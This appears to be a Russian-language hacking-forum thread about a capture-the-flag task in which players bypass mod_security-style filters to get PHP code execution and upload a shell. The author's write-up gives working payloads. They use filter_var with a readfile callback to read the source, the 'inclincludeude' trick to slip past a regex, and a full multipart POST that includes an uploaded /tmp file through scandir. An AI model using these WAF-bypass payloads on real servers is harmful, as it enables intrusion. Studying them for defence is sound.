Задача: есть параметр уязвимый к RCE, но провести полноценную атаку мешают фильтры, которые сводят угрозу выполнения произвольного кода к минимуму. На сайте есть врайтабельная папка. Вам предлагается обойти фильтры, выполнить произвольный PHP код и залить "шелла" в эту самую врайтабельную папку. Таск основан на реальных фильтрах mod_security, с некоторыми авторскими модификациями Решением будет считаться код, с помощью которого можно будет залить "шелла" во врайтабельную папку. Отдельно выполненные команды типа phpinfo() - не считаются. Брутить и сканить ничего не нужно. Сложность и креативность решения будет оцениваться отдельно. Данный таск можно пройти разными вариантами исполнения. Срок: две недели. Таргет: http://task12.antichat.com Правила остаются прежними: В теме не флудим, подсказки разрешены только от ТС. Прошли: crlf neur0funk Baskin-Robbins Shubka75 Раrаdох Hulkus MichelleBoxing joelblack ckpunmkug Harakternik look2009 fandor9
Как справедливо заметил Crlf, это изи-таск. Но у задания хороший потенциал: во-первых, RCE - всегда интересно, а обход фильтров - классика жанра во-вторых, автор таска моделирует реальный случай, но оставил больше вариантов решения, чем имел сам. в-третьих, решений много, в т.ч. есть и интересные. в-четвертых, даже самое простое решение требует твоего включения и "повтыкать", скушно не будет. Обращаюсь к паблику: Crlf`ами не рождаются, ими становятся. Вот Вам первая ступенька - CRLF[Level1]. И хорошая возможность - шагнуть на эту ступеньку. А для Крлфов высокого уровня тоже есть варианты, возможно мы их увидим. Как показывает практика, все мы сначала ищем простые решения, но для спеца 80-го уровня они начинаются не с первого, а примерно с 75 - 76, поэтому ждем их тоже.
За идею для таска была взята основа конфигурации mod_security с одного ресурса. Конфигурацию перенесли в виде регулярок на PHP, но кое что было не учтено, что в свою очередь привело к большому количеству всевозможных решений )) Изначально решение таска планировалось таким. Заблокированы практически все функции, которые необходимы для заливки шелла, или полноценного выполнения кода, поэтому пришлось бы поискать, что не заблокировано. mod_security в нашем случае не блокировал callback функции filter_ Одной из таких функций мы можем воспользоваться для чтения файлов, и прочитаем сами себя: filter_var("index.php", FILTER_CALLBACK,array("options"=>"readfile")); Получаем исходный код самого скрипта, смотрим его, и видим кривую регулярку: Code: $vuln_entry = preg_replace('/(assert|include|eval|require)/is','',$vuln_entry); Обращаем внимание, что функции assert,eval находятся в запрещенном списке $disable_function_names, но остальные две, include и require - нет. По сути использовать include или require мешает эта регулярка, но она легко обходится, например так: inclincludeude Теперь, когда мы можем использовать include, надо подумать, как через неё проэксплуатировать полноценный RCE код. Врапперы в PHP для include\require по умолчанию отключены, поэтому остается вариант загрузить файл на сервер, и его проинклудить. Это можно сделать через трюк с загрузкой файла, и пока он находится во временной папке /tmp/ то проинклудить его через scandir подобрав массив. Выглядит это следующим образом: Code: include('/tmp/'.scandir('/tmp/')[6]); Соответственно формируем специальный http заголовок, и посылаем это на сервер: Spoiler Code: POST / HTTP/1.1 Host: task12.antichat.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:53.0) Gecko/20170101 Firefox/53.0 Content-Type: multipart/form-data; boundary=---------------------------cd34e5c25fdd9f588c11127a23284 Content-Length: 403 -----------------------------cd34e5c25fdd9f588c11127a23284 Content-Disposition: form-data; name="x"; filename="1.jpg" Content-Type: image/jpeg <?php die('included_546556'); ?> -----------------------------cd34e5c25fdd9f588c11127a23284 Content-Disposition: form-data; name="rce" $b=inclincludeude('/tmp/'.scandir('/tmp/')[6]);die(); -----------------------------cd34e5c25fdd9f588c11127a23284-- И уже имеем полноценный RCE который ничем не блокируется. Как я уже писал ранее, из за небольшого косяка с переносом правил mod_security на площадку таска, его можно зарешать и множеством других вариантов. Сами решения участников: Spoiler Решения интересные, многие из которых могут помочь в реальных условиях фильтрации RCE разными WAF системами. В общем, все молодцы.